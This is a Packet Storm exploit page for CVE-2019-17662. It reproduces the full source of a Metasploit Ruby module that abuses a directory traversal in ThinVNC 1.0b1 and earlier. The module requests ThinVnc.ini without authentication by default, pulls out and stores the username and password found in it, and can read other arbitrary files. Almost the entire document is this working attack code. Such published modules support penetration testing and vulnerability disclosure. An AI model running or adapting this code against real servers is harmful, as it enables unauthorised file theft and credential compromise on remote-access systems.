exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

ThinVNC Directory Traversal

ThinVNC Directory Traversal
Posted Sep 1, 2024
Authored by Brendan Coles, WarMarX, jinxbox | Site metasploit.com

This Metasploit module exploits a directory traversal vulnerability in ThinVNC versions 1.0b1 and prior which allows unauthenticated users to retrieve arbitrary files, including the ThinVNC configuration file. This Metasploit module has been tested successfully on ThinVNC versions 1.0b1 and "ThinVNC_Latest" (2018-12-07).

tags | exploit, arbitrary
advisories | CVE-2019-17662
SHA-256 | 9f7e4c4546a87e391ac57736315d855264a0c23fffbb62dd4066111164fc5ac9

ThinVNC Directory Traversal

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner

def initialize(info = {})
super(update_info(info,
'Name' => 'ThinVNC Directory Traversal',
'Description' => %q{
This module exploits a directory traversal vulnerability in ThinVNC
versions 1.0b1 and prior which allows unauthenticated users to retrieve
arbitrary files, including the ThinVNC configuration file.

This module has been tested successfully on ThinVNC versions 1.0b1
and "ThinVNC_Latest" (2018-12-07).
},
'References' =>
[
['CVE', '2019-17662'],
['URL', 'https://github.com/bewest/thinvnc/issues/5'],
['URL', 'https://github.com/shashankmangal2/Exploits/blob/master/ThinVNC-RemoteAccess/POC.py'],
['URL', 'https://redteamzone.com/ThinVNC/']
],
'Author' =>
[
'jinxbox', # Discovery and PoC
'WarMarX', # PoC
'bcoles' # metasploit
],
'DefaultOptions' => { 'RPORT' => 8080 },
'DisclosureDate' => '2019-10-16',
'License' => MSF_LICENSE
))

register_options(
[
OptString.new('FILEPATH', [true, 'The path to the file to read', 'ThinVnc.ini']),
OptInt.new('DEPTH', [ true, 'Depth for Path Traversal', 2])
])
end

def run_host(ip)
depth = datastore['DEPTH']
filepath = datastore['FILEPATH']

res = retrieve_file(depth, filepath)

return if res.blank?

filename = File.basename(filepath)

path = store_loot(
'thinvnc.traversal',
'text/plain',
ip,
res.to_s,
filename
)

print_good("File #{filename} saved in: #{path}")

# Report vuln and store creds if we successfully retrieved the config file
if filename.downcase == 'thinvnc.ini' && res.to_s.start_with?('[Authentication]')
report_service(
:host => ip,
:port => rport,
:sname => (ssl ? 'https' : 'http'),
:info => 'ThinVNC'
)

report_vuln(
:host => ip,
:port => rport,
:proto => 'tcp',
:sname => (ssl ? 'https' : 'http'),
:name => 'ThinVNC Directory Traversal',
:info => 'ThinVNC Directory Traversal',
:refs => self.references
)

username = res.scan(/^User=(.+)$/).flatten.first.to_s.strip
password = res.scan(/^Password=(.+)$/).flatten.first.to_s.strip

if username && password
print_good "Found credentials: #{username}:#{password}"
store_valid_credential(user: username, private: password)
end
end
end

def retrieve_file(depth, filepath)
traversal = Rex::Text.rand_text_alphanumeric(3..5)
traversal << '/'
traversal << '../' * depth
traversal << filepath

res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, traversal)
})

unless res
vprint_error 'No reply'
return
end

if res.code == 404
vprint_error 'File not found'
return
end

if res.code != 200
vprint_error 'Unexpected reply'
return
end

res.body.to_s
end
end
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    0 Files
  • 6
    Sep 6th
    0 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    0 Files
  • 9
    Sep 9th
    0 Files
  • 10
    Sep 10th
    0 Files
  • 11
    Sep 11th
    0 Files
  • 12
    Sep 12th
    0 Files
  • 13
    Sep 13th
    0 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    0 Files
  • 17
    Sep 17th
    0 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close